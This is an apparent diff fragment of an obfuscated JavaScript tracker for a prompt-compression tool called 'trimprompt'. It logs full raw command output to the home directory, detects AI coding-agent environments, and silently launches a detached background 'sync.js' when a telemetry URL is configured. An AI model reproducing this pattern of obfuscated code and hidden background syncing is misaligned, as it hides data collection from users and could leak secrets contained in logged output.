_0x5ecdcb?!_0x5b6e0c[_0x334d2e(0x1ae)]:_0x5ecdcb['writable']||_0x5ecdcb[_0x334d2e(0x1d5)]))&&(_0x5ecdcb={'enumerable':!![],'get':function(){return _0x5b6e0c[_0x44c9f3];}}),Object[_0x334d2e(0x1b5)](_0x16ed71,_0x5f2b99,_0x5ecdcb);}:function(_0x9063df,_0x4d5721,_0x327adb,_0x44cfc1){if(_0x44cfc1===undefined)_0x44cfc1=_0x327adb;_0x9063df[_0x44cfc1]=_0x4d5721[_0x327adb];}),__setModuleDefault=this&&this[a0_0x5b6d33(0x1e6)]||(Object[a0_0x5b6d33(0x19b)]?function(_0x733fd7,_0x1e8fed){const _0x1ed4f3=a0_0x5b6d33;Object[_0x1ed4f3(0x1b5)](_0x733fd7,_0x1ed4f3(0x194),{'enumerable':!![],'value':_0x1e8fed});}:function(_0x144d62,_0x2cd58e){_0x144d62['default']=_0x2cd58e;}),__importStar=this&&this['__importStar']||(function(){var _0x3f31b4=function(_0x58abc2){const _0x505d97=a0_0x32aa;return _0x3f31b4=Object[_0x505d97(0x1a9)]||function(_0x457eb8){const _0x534f6d=_0x505d97;var _0x23c6de=[];for(var _0x5b8fac in _0x457eb8)if(Object[_0x534f6d(0x19f)][_0x534f6d(0x1bb)][_0x534f6d(0x1be)](_0x457eb8,_0x5b8fac))_0x23c6de[_0x23c6de['length']]=_0x5b8fac;return _0x23c6de;},_0x3f31b4(_0x58abc2);};return function(_0x562ebc){const _0x466981=a0_0x32aa;if(_0x562ebc&&_0x562ebc['__esModule'])return _0x562ebc;var _0x3c49d9={};if(_0x562ebc!=null){for(var _0xcf691e=_0x3f31b4(_0x562ebc),_0xb54f3b=0x0;_0xb54f3b<_0xcf691e[_0x466981(0x1d2)];_0xb54f3b++)if(_0xcf691e[_0xb54f3b]!==_0x466981(0x194))__createBinding(_0x3c49d9,_0x562ebc,_0xcf691e[_0xb54f3b]);}return __setModuleDefault(_0x3c49d9,_0x562ebc),_0x3c49d9;};}());Object['defineProperty'](exports,a0_0x5b6d33(0x1ae),{'value':!![]}),exports['tracker']=exports['Tracker']=exports[a0_0x5b6d33(0x1c2)]=void 0x0;function a0_0x32aa(_0x4d6605,_0x4ccec4){_0x4d6605=_0x4d6605-0x182;const _0x498261=a0_0x4982();let _0x32aadf=_0x498261[_0x4d6605];return _0x32aadf;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5b6d33(0x1dd))),os=__importStar(require('os')),child_process_1=require(a0_0x5b6d33(0x1df));exports[a0_0x5b6d33(0x1c2)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x5b6d33(0x1ce),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x5b6d33(0x196),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x5b6d33(0x1c6),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x5b6d33(0x1d9),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x5b6d33(0x1e1),'input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x5b6d33(0x1c4),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x5b6d33(0x1c9),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x5b6d33(0x1b0),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x5b6d33(0x18a),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x5b6d33(0x189),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x5b6d33(0x1cf),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x5b6d33(0x1a1),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x5b6d33(0x19d),'input_price_1m':0.15},'o1':{'name':a0_0x5b6d33(0x1d1),'input_price_1m':0xf},'o1-mini':{'name':a0_0x5b6d33(0x1cb),'input_price_1m':0x3},'o3-mini':{'name':a0_0x5b6d33(0x192),'input_price_1m':1.1},'cursor-small':{'name':a0_0x5b6d33(0x19e),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x5b6d33(0x198),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x5b6d33(0x1cd),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x5b6d33(0x1a7),'input_price_1m':3.5}};function a0_0x4982(){const _0x5b59a6=['estimated_raw_tokens','GPT-5.4','config.json','execPath','.comp.txt','unref','defineProperty','init','logExecution','name','trim','setConfig','hasOwnProperty','toString','ceil','call','telemetry_url','baseDir','readFileSync','PRICING','Tracker','Claude\x20Haiku\x203.5','__createBinding','Claude\x20Opus\x204.7','unknown','5Gcsaix','GPT-5.5','.raw.txt','OpenAI\x20o1-mini','split','Gemini\x203.1\x20Flash-Lite','Claude\x20Mythos\x205','GPT-4.1\x20Mini','get','OpenAI\x20o1','length','default_model','random','configurable','existsSync','input_price_1m','stringify','Claude\x20Opus\x204.1\x20(deprecated)','logsDir','8oKREen','claude-opus-4-8','path','parse','child_process','13002lMRPHC','Claude\x203.5\x20Sonnet','gemini-3-1-pro','getLogs','saveConfig','tokens_saved','__setModuleDefault','claude-3-5-sonnet','logs','sync.js','substring','2nEMzJj','ignore','19330jcdXOE','stats.json','GPT-5.4\x20Nano','GPT-4o','4978666DcgWPF','push','auto','461451VsrCit','1379433NlFpxP','utf8','model_used','OpenAI\x20o3-mini','saveLogs','default','554972QJXZfb','Claude\x20Opus\x204.8','writeFileSync','Gemini\x203.5\x20Flash','2957580fPbjjf','spawn','create','configPath','GPT-4o\x20Mini','Cursor\x20Small','prototype','triggerBackgroundSync','GPT-4.1\x20Nano','statsPath','tracker','toFixed','join','homedir','Gemini\x203.5\x20Live\x20Translate','config','getOwnPropertyNames','estimated_compressed_tokens','getConfig','205326HjQIII','getOwnPropertyDescriptor','__esModule'];a0_0x4982=function(){return _0x5b59a6;};return a0_0x4982();}class Tracker{[a0_0x5b6d33(0x1c0)];['configPath'];[a0_0x5b6d33(0x1a2)];[a0_0x5b6d33(0x1da)];[a0_0x5b6d33(0x1a8)];constructor(){const _0x419aff=a0_0x5b6d33;this['baseDir']=path['join'](os[_0x419aff(0x1a6)](),'.trimprompt'),this[_0x419aff(0x19c)]=path[_0x419aff(0x1a5)](this['baseDir'],_0x419aff(0x1b1)),this[_0x419aff(0x1a2)]=path[_0x419aff(0x1a5)](this['baseDir'],_0x419aff(0x188)),this[_0x419aff(0x1da)]=path['join'](this[_0x419aff(0x1c0)],_0x419aff(0x182)),this['init']();}[a0_0x5b6d33(0x1b6)](){const _0x4e674d=a0_0x5b6d33;!fs[_0x4e674d(0x1d6)](this[_0x4e674d(0x1c0)])&&fs['mkdirSync'](this[_0x4e674d(0x1c0)],{'recursive':!![]});!fs['existsSync'](this[_0x4e674d(0x1da)])&&fs['mkdirSync'](this[_0x4e674d(0x1da)],{'recursive':!![]});const _0x58be2e={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x4e674d(0x1dc)};if(fs[_0x4e674d(0x1d6)](this[_0x4e674d(0x19c)]))try{const _0x868ef7=fs[_0x4e674d(0x1c1)](this['configPath'],'utf8');this['config']={..._0x58be2e,...JSON['parse'](_0x868ef7)};}catch(_0x29d591){this['config']=_0x58be2e;}else this[_0x4e674d(0x1a8)]=_0x58be2e,this[_0x4e674d(0x1e4)]();!fs[_0x4e674d(0x1d6)](this[_0x4e674d(0x1a2)])&&fs[_0x4e674d(0x197)](this[_0x4e674d(0x1a2)],JSON[_0x4e674d(0x1d8)]([]),'utf8');}['getConfig'](){const _0x49987a=a0_0x5b6d33;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x49987a(0x1a8)][_0x49987a(0x1bf)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x49987a(0x1a8)];}[a0_0x5b6d33(0x1ba)](_0x83e78d,_0x454f41){const _0x1f1d9b=a0_0x5b6d33;this[_0x1f1d9b(0x1a8)][_0x83e78d]=_0x454f41,this['saveConfig']();}[a0_0x5b6d33(0x1e4)](){const _0x34317a=a0_0x5b6d33;fs[_0x34317a(0x197)](this[_0x34317a(0x19c)],JSON['stringify'](this['config'],null,0x2),'utf8');}[a0_0x5b6d33(0x1e3)](){const _0x31c746=a0_0x5b6d33;try{if(!fs['existsSync'](this[_0x31c746(0x1a2)]))return[];const _0x3013ca=fs[_0x31c746(0x1c1)](this[_0x31c746(0x1a2)],_0x31c746(0x190));return JSON[_0x31c746(0x1de)](_0x3013ca);}catch{return[];}}[a0_0x5b6d33(0x193)](_0x44e511){const _0x4e999c=a0_0x5b6d33;fs['writeFileSync'](this['statsPath'],JSON[_0x4e999c(0x1d8)](_0x44e511,null,0x2),'utf8');}[a0_0x5b6d33(0x1b7)](_0x2b8c3e,_0x240b69,_0x5e7457,_0x3f6f2a){const _0x460671=a0_0x5b6d33,_0x4fbceb=this['getLogs'](),_0x3229b8=_0x240b69[_0x460671(0x1d2)],_0x249992=_0x5e7457['length'],_0x1c7424=Math[_0x460671(0x1bd)](_0x3229b8/0x4),_0x144b1d=Math[_0x460671(0x1bd)](_0x249992/0x4),_0x2fd30f=Math['max'](0x0,_0x1c7424-_0x144b1d);let _0x13b408=_0x460671(0x1e7);if(process.env.TRIMPROMPT_MODEL&&exports['PRICING'][process.env.TRIMPROMPT_MODEL])_0x13b408=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x13b408=_0x460671(0x1e7);else{if(process.env.CURSOR_VERSION)_0x13b408=_0x460671(0x1e7);else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x13b408=_0x460671(0x1e2);else{const _0x591c55=this['getConfig']()[_0x460671(0x1d3)];_0x591c55&&exports[_0x460671(0x1c2)][_0x591c55]&&(_0x13b408=_0x591c55);}}}}const _0x457904=Math[_0x460671(0x1d4)]()[_0x460671(0x1bc)](0x24)[_0x460671(0x184)](0x2,0xb);try{fs[_0x460671(0x197)](path[_0x460671(0x1a5)](this[_0x460671(0x1da)],_0x457904+_0x460671(0x1ca)),_0x240b69,_0x460671(0x190)),fs[_0x460671(0x197)](path[_0x460671(0x1a5)](this[_0x460671(0x1da)],_0x457904+_0x460671(0x1b3)),_0x5e7457,_0x460671(0x190));}catch{}const _0x51c058={'id':_0x457904,'timestamp':new Date()['toISOString'](),'command':_0x2b8c3e[_0x460671(0x1cc)]('\x20')[0x0]||_0x460671(0x1c7),'raw_chars':_0x3229b8,'compressed_chars':_0x249992,'estimated_raw_tokens':_0x1c7424,'estimated_compressed_tokens':_0x144b1d,'tokens_saved':_0x2fd30f,'model_used':_0x13b408,'exit_code':_0x3f6f2a,'synced':![]};_0x4fbceb[_0x460671(0x18c)](_0x51c058),this[_0x460671(0x193)](_0x4fbceb);const _0x49e4ae=this[_0x460671(0x1ab)]()[_0x460671(0x1bf)];return _0x49e4ae&&_0x49e4ae[_0x460671(0x1b9)]()['length']>0x0&&this['triggerBackgroundSync'](),_0x51c058;}[a0_0x5b6d33(0x1a0)](){const _0x441b1a=a0_0x5b6d33;try{const _0x2f1433=path[_0x441b1a(0x1a5)](__dirname,_0x441b1a(0x183));if(fs[_0x441b1a(0x1d6)](_0x2f1433)){const _0xf2b7ee=(0x0,child_process_1[_0x441b1a(0x19a)])(process[_0x441b1a(0x1b2)],[_0x2f1433],{'detached':!![],'stdio':_0x441b1a(0x186)});_0xf2b7ee[_0x441b1a(0x1b4)]();}}catch{}}['getStatsSummary'](_0x3e6c6f=a0_0x5b6d33(0x18d)){const _0x52e408=a0_0x5b6d33,_0x2927ec=this['getLogs']();let _0x58bd25=0x0,_0x45543f=0x0,_0x1cb23c=0x0;for(const _0x1ef58c of _0x2927ec){_0x58bd25+=_0x1ef58c[_0x52e408(0x1af)],_0x45543f+=_0x1ef58c[_0x52e408(0x1aa)],_0x1cb23c+=_0x1ef58c[_0x52e408(0x1e5)];}let _0x7ece0f=_0x3e6c6f;(!_0x7ece0f||_0x7ece0f===_0x52e408(0x18d)||!exports[_0x52e408(0x1c2)][_0x7ece0f])&&(_0x2927ec[_0x52e408(0x1d2)]>0x0&&_0x2927ec[_0x2927ec[_0x52e408(0x1d2)]-0x1][_0x52e408(0x191)]?_0x7ece0f=_0x2927ec[_0x2927ec[_0x52e408(0x1d2)]-0x1][_0x52e408(0x191)]:_0x7ece0f=this['getConfig']()['default_model']||'claude-3-5-sonnet');const _0x411523=exports[_0x52e408(0x1c2)][_0x7ece0f]||exports[_0x52e408(0x1c2)][_0x52e408(0x1e7)],_0x508473=_0x1cb23c*_0x411523[_0x52e408(0x1d7)]/0xf4240,_0x3d754d=_0x58bd25*_0x411523[_0x52e408(0x1d7)]/0xf4240,_0x20da2c=_0x45543f*_0x411523['input_price_1m']/0xf4240,_0x21a063=_0x58bd25>0x0?_0x1cb23c/_0x58bd25*0x64:0x0;return{'total_raw_tokens':_0x58bd25,'total_compressed_tokens':_0x45543f,'total_tokens_saved':_0x1cb23c,'savings_percentage':parseFloat(_0x21a063[_0x52e408(0x1a4)](0x1)),'money_saved_usd':parseFloat(_0x508473[_0x52e408(0x1a4)](0x4)),'raw_cost_usd':parseFloat(_0x3d754d[_0x52e408(0x1a4)](0x4)),'compressed_cost_usd':parseFloat(_0x20da2c[_0x52e408(0x1a4)](0x4)),'model_name':_0x411523[_0x52e408(0x1b8)],'model_key':_0x7ece0f};}}exports[a0_0x5b6d33(0x1c3)]=Tracker,exports[a0_0x5b6d33(0x1a3)]=new Tracker();
1
+ 'use strict';const a0_0xb57e77=a0_0x3134;(function(_0x577cfa,_0x316da3){const _0x926685=a0_0x3134,_0x48dbe0=_0x577cfa();while(!![]){try{const _0x1683c9=-parseInt(_0x926685(0x12e))/0x1+parseInt(_0x926685(0x140))/0x2+parseInt(_0x926685(0x122))/0x3+parseInt(_0x926685(0x111))/0x4+parseInt(_0x926685(0x130))/0x5+parseInt(_0x926685(0x10d))/0x6+-parseInt(_0x926685(0xff))/0x7;if(_0x1683c9===_0x316da3)break;else _0x48dbe0['push'](_0x48dbe0['shift']());}catch(_0x32fa3a){_0x48dbe0['push'](_0x48dbe0['shift']());}}}(a0_0x3549,0x71bbc));var __createBinding=this&&this[a0_0xb57e77(0x124)]||(Object[a0_0xb57e77(0x109)]?function(_0x8ba643,_0x262391,_0x1bb905,_0x508f61){const _0x4c63a5=a0_0xb57e77;if(_0x508f61===undefined)_0x508f61=_0x1bb905;var _0x4a0f1e=Object[_0x4c63a5(0x11c)](_0x262391,_0x1bb905);(!_0x4a0f1e||(_0x4c63a5(0x133)in _0x4a0f1e?!_0x262391[_0x4c63a5(0x120)]:_0x4a0f1e[_0x4c63a5(0x119)]||_0x4a0f1e[_0x4c63a5(0x113)]))&&(_0x4a0f1e={'enumerable':!![],'get':function(){return _0x262391[_0x1bb905];}}),Object[_0x4c63a5(0x13a)](_0x8ba643,_0x508f61,_0x4a0f1e);}:function(_0x3606de,_0x2fd63e,_0x5e6b0e,_0x3e6c8f){if(_0x3e6c8f===undefined)_0x3e6c8f=_0x5e6b0e;_0x3606de[_0x3e6c8f]=_0x2fd63e[_0x5e6b0e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x21fd86,_0x5a4708){const _0x5cc076=a0_0xb57e77;Object[_0x5cc076(0x13a)](_0x21fd86,'default',{'enumerable':!![],'value':_0x5a4708});}:function(_0x140e68,_0x492bd0){const _0x34a509=a0_0xb57e77;_0x140e68[_0x34a509(0x12a)]=_0x492bd0;}),__importStar=this&&this[a0_0xb57e77(0xe6)]||(function(){var _0x14ba27=function(_0x91c65a){return _0x14ba27=Object['getOwnPropertyNames']||function(_0x297c97){const _0x3d0c7f=a0_0x3134;var _0xe9276b=[];for(var _0x31b8fd in _0x297c97)if(Object[_0x3d0c7f(0x12b)]['hasOwnProperty']['call'](_0x297c97,_0x31b8fd))_0xe9276b[_0xe9276b['length']]=_0x31b8fd;return _0xe9276b;},_0x14ba27(_0x91c65a);};return function(_0x4c37b6){const _0x1da9f4=a0_0x3134;if(_0x4c37b6&&_0x4c37b6['__esModule'])return _0x4c37b6;var _0x4c520b={};if(_0x4c37b6!=null){for(var _0x2f0749=_0x14ba27(_0x4c37b6),_0x579539=0x0;_0x579539<_0x2f0749[_0x1da9f4(0x139)];_0x579539++)if(_0x2f0749[_0x579539]!==_0x1da9f4(0x12a))__createBinding(_0x4c520b,_0x4c37b6,_0x2f0749[_0x579539]);}return __setModuleDefault(_0x4c520b,_0x4c37b6),_0x4c520b;};}());Object[a0_0xb57e77(0x13a)](exports,a0_0xb57e77(0x120),{'value':!![]}),exports['tracker']=exports['Tracker']=exports[a0_0xb57e77(0xe5)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xb57e77(0x123))),os=__importStar(require('os')),child_process_1=require('child_process');function a0_0x3549(){const _0x118c34=['toISOString','get','existsSync','GPT-5.4\x20Mini','GPT-4o','substring','name','length','defineProperty','unref','ceil','.raw.txt','saveLogs','spawn','1268100yVtDaa','default_model','Claude\x20Opus\x204.7','Cursor\x20Small','init','PRICING','__importStar','GPT-5.4\x20Nano','Claude\x203.5\x20Sonnet','setConfig','toFixed','1.0','execPath','estimated_raw_tokens','baseDir','push','OpenAI\x20o1-mini','tracker','Gemini\x203.5\x20Flash','join','getConfig','getStatsSummary','input_price_1m','unknown','estimated_compressed_tokens','Tracker','tokens_saved','Gemini\x203.1\x20Pro','Claude\x20Opus\x204.8','telemetry_url','Claude\x20Haiku\x204.5','11427234PcpTYS','OpenAI\x20o3-mini','.trimprompt','Gemini\x203.5\x20Live\x20Translate','parse','model_used','GPT-4.1\x20Nano','toString','logsDir','claude-3-5-sonnet','create','writeFileSync','stringify','Gemini\x203.1\x20Flash-Lite','2185848yGyCyn','trim','OpenAI\x20o1','config','1858840irnRiJ','sync.js','configurable','utf8','logExecution','stats.json','Claude\x20Sonnet\x204.5','GPT-4.1\x20Mini','writable','Claude\x20Mythos\x205','configPath','getOwnPropertyDescriptor','saveConfig','claude-opus-4-8','ignore','__esModule','mkdirSync','1666521CaUSwJ','path','__createBinding','auto','GPT-4o\x20Mini','getLogs','triggerBackgroundSync','.comp.txt','default','prototype','random','statsPath','713561iWtPoB','Claude\x20Haiku\x203.5','3966500sEmLxq','readFileSync'];a0_0x3549=function(){return _0x118c34;};return a0_0x3549();}exports['PRICING']={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0xb57e77(0x11a),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0xb57e77(0xfc),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0xb57e77(0xe2),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0xb57e77(0x117),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0xb57e77(0xe8),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0xb57e77(0xfe),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0xb57e77(0x12f),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0xb57e77(0x136),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0xb57e77(0x135),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0xb57e77(0xe7),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0xb57e77(0x118),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0xb57e77(0x105),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0xb57e77(0x126),'input_price_1m':0.15},'o1':{'name':a0_0xb57e77(0x10f),'input_price_1m':0xf},'o1-mini':{'name':a0_0xb57e77(0xf0),'input_price_1m':0x3},'o3-mini':{'name':a0_0xb57e77(0x100),'input_price_1m':1.1},'cursor-small':{'name':a0_0xb57e77(0xe3),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0xb57e77(0xfb),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0xb57e77(0xf2),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0xb57e77(0x10c),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0xb57e77(0x102),'input_price_1m':3.5}};class Tracker{[a0_0xb57e77(0xee)];[a0_0xb57e77(0x11b)];[a0_0xb57e77(0x12d)];['logsDir'];[a0_0xb57e77(0x110)];constructor(){const _0x5010d7=a0_0xb57e77;this[_0x5010d7(0xee)]=path[_0x5010d7(0xf3)](os['homedir'](),_0x5010d7(0x101)),this['configPath']=path[_0x5010d7(0xf3)](this['baseDir'],'config.json'),this[_0x5010d7(0x12d)]=path[_0x5010d7(0xf3)](this['baseDir'],_0x5010d7(0x116)),this['logsDir']=path[_0x5010d7(0xf3)](this[_0x5010d7(0xee)],'logs'),this[_0x5010d7(0xe4)]();}[a0_0xb57e77(0xe4)](){const _0x2f3f22=a0_0xb57e77;!fs['existsSync'](this['baseDir'])&&fs[_0x2f3f22(0x121)](this['baseDir'],{'recursive':!![]});!fs[_0x2f3f22(0x134)](this[_0x2f3f22(0x107)])&&fs[_0x2f3f22(0x121)](this['logsDir'],{'recursive':!![]});const _0x35b007={'version':_0x2f3f22(0xeb),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x2f3f22(0x11e)};if(fs[_0x2f3f22(0x134)](this['configPath']))try{const _0xbc809=fs[_0x2f3f22(0x131)](this['configPath'],_0x2f3f22(0x114));this['config']={..._0x35b007,...JSON[_0x2f3f22(0x103)](_0xbc809)};}catch(_0x523e59){this[_0x2f3f22(0x110)]=_0x35b007;}else this[_0x2f3f22(0x110)]=_0x35b007,this[_0x2f3f22(0x11d)]();!fs[_0x2f3f22(0x134)](this[_0x2f3f22(0x12d)])&&fs[_0x2f3f22(0x10a)](this[_0x2f3f22(0x12d)],JSON['stringify']([]),_0x2f3f22(0x114));}[a0_0xb57e77(0xf4)](){const _0x576c3f=a0_0xb57e77;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config']['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x576c3f(0x110)];}[a0_0xb57e77(0xe9)](_0xe0c8ad,_0x5d8e2e){const _0x39f5c0=a0_0xb57e77;this[_0x39f5c0(0x110)][_0xe0c8ad]=_0x5d8e2e,this[_0x39f5c0(0x11d)]();}['saveConfig'](){const _0x42c66f=a0_0xb57e77;fs[_0x42c66f(0x10a)](this[_0x42c66f(0x11b)],JSON[_0x42c66f(0x10b)](this['config'],null,0x2),_0x42c66f(0x114));}[a0_0xb57e77(0x127)](){const _0x58cb27=a0_0xb57e77;try{if(!fs[_0x58cb27(0x134)](this[_0x58cb27(0x12d)]))return[];const _0x91b2a7=fs[_0x58cb27(0x131)](this['statsPath'],_0x58cb27(0x114));return JSON[_0x58cb27(0x103)](_0x91b2a7);}catch{return[];}}[a0_0xb57e77(0x13e)](_0xbc8b69){const _0x25ac31=a0_0xb57e77;fs[_0x25ac31(0x10a)](this[_0x25ac31(0x12d)],JSON[_0x25ac31(0x10b)](_0xbc8b69,null,0x2),'utf8');}[a0_0xb57e77(0x115)](_0x3aaaab,_0x54f30d,_0xbd8243,_0x71b1f1){const _0x1e6421=a0_0xb57e77,_0xce0c06=this[_0x1e6421(0x127)](),_0x105b73=_0x54f30d[_0x1e6421(0x139)],_0x1a761f=_0xbd8243[_0x1e6421(0x139)],_0x3f32e5=Math[_0x1e6421(0x13c)](_0x105b73/0x4),_0x2af4f6=Math[_0x1e6421(0x13c)](_0x1a761f/0x4),_0x51e893=Math['max'](0x0,_0x3f32e5-_0x2af4f6);let _0x5b2933=_0x1e6421(0x108);if(process.env.TRIMPROMPT_MODEL&&exports[_0x1e6421(0xe5)][process.env.TRIMPROMPT_MODEL])_0x5b2933=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x5b2933=_0x1e6421(0x108);else{if(process.env.CURSOR_VERSION)_0x5b2933='claude-3-5-sonnet';else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x5b2933='gemini-3-1-pro';else{const _0x4c07ce=this[_0x1e6421(0xf4)]()[_0x1e6421(0x141)];_0x4c07ce&&exports['PRICING'][_0x4c07ce]&&(_0x5b2933=_0x4c07ce);}}}}const _0x404017=Math[_0x1e6421(0x12c)]()[_0x1e6421(0x106)](0x24)[_0x1e6421(0x137)](0x2,0xb);try{fs['writeFileSync'](path[_0x1e6421(0xf3)](this[_0x1e6421(0x107)],_0x404017+_0x1e6421(0x13d)),_0x54f30d,_0x1e6421(0x114)),fs[_0x1e6421(0x10a)](path[_0x1e6421(0xf3)](this[_0x1e6421(0x107)],_0x404017+_0x1e6421(0x129)),_0xbd8243,_0x1e6421(0x114));}catch{}const _0xe3e876={'id':_0x404017,'timestamp':new Date()[_0x1e6421(0x132)](),'command':_0x3aaaab['split']('\x20')[0x0]||_0x1e6421(0xf7),'raw_chars':_0x105b73,'compressed_chars':_0x1a761f,'estimated_raw_tokens':_0x3f32e5,'estimated_compressed_tokens':_0x2af4f6,'tokens_saved':_0x51e893,'model_used':_0x5b2933,'exit_code':_0x71b1f1,'synced':![]};_0xce0c06[_0x1e6421(0xef)](_0xe3e876),this[_0x1e6421(0x13e)](_0xce0c06);const _0x3e69ed=this['getConfig']()[_0x1e6421(0xfd)];return _0x3e69ed&&_0x3e69ed[_0x1e6421(0x10e)]()[_0x1e6421(0x139)]>0x0&&this['triggerBackgroundSync'](),_0xe3e876;}[a0_0xb57e77(0x128)](){const _0x49f522=a0_0xb57e77;try{const _0x1d0585=path['join'](__dirname,_0x49f522(0x112));if(fs['existsSync'](_0x1d0585)){const _0x279c52=(0x0,child_process_1[_0x49f522(0x13f)])(process[_0x49f522(0xec)],[_0x1d0585],{'detached':!![],'stdio':_0x49f522(0x11f)});_0x279c52[_0x49f522(0x13b)]();}}catch{}}[a0_0xb57e77(0xf5)](_0x342730=a0_0xb57e77(0x125)){const _0x4c97c7=a0_0xb57e77,_0x29e4ab=this[_0x4c97c7(0x127)]();let _0x2c1d33=0x0,_0x186e97=0x0,_0x22da37=0x0;for(const _0x2be92c of _0x29e4ab){_0x2c1d33+=_0x2be92c[_0x4c97c7(0xed)],_0x186e97+=_0x2be92c[_0x4c97c7(0xf8)],_0x22da37+=_0x2be92c[_0x4c97c7(0xfa)];}let _0x3dab21=_0x342730;(!_0x3dab21||_0x3dab21===_0x4c97c7(0x125)||!exports[_0x4c97c7(0xe5)][_0x3dab21])&&(_0x29e4ab[_0x4c97c7(0x139)]>0x0&&_0x29e4ab[_0x29e4ab[_0x4c97c7(0x139)]-0x1][_0x4c97c7(0x104)]?_0x3dab21=_0x29e4ab[_0x29e4ab[_0x4c97c7(0x139)]-0x1][_0x4c97c7(0x104)]:_0x3dab21=this[_0x4c97c7(0xf4)]()[_0x4c97c7(0x141)]||'claude-3-5-sonnet');const _0x2198b3=exports[_0x4c97c7(0xe5)][_0x3dab21]||exports[_0x4c97c7(0xe5)][_0x4c97c7(0x108)],_0xd7503d=_0x22da37*_0x2198b3[_0x4c97c7(0xf6)]/0xf4240,_0x1ececd=_0x2c1d33*_0x2198b3[_0x4c97c7(0xf6)]/0xf4240,_0x49803d=_0x186e97*_0x2198b3[_0x4c97c7(0xf6)]/0xf4240,_0x40d247=_0x2c1d33>0x0?_0x22da37/_0x2c1d33*0x64:0x0;return{'total_raw_tokens':_0x2c1d33,'total_compressed_tokens':_0x186e97,'total_tokens_saved':_0x22da37,'savings_percentage':parseFloat(_0x40d247[_0x4c97c7(0xea)](0x1)),'money_saved_usd':parseFloat(_0xd7503d[_0x4c97c7(0xea)](0x4)),'raw_cost_usd':parseFloat(_0x1ececd[_0x4c97c7(0xea)](0x4)),'compressed_cost_usd':parseFloat(_0x49803d['toFixed'](0x4)),'model_name':_0x2198b3[_0x4c97c7(0x138)],'model_key':_0x3dab21};}}function a0_0x3134(_0x8305cc,_0x4cb7bb){_0x8305cc=_0x8305cc-0xe2;const _0x354926=a0_0x3549();let _0x3134ed=_0x354926[_0x8305cc];return _0x3134ed;}exports[a0_0xb57e77(0xf9)]=Tracker,exports[a0_0xb57e77(0xf1)]=new Tracker();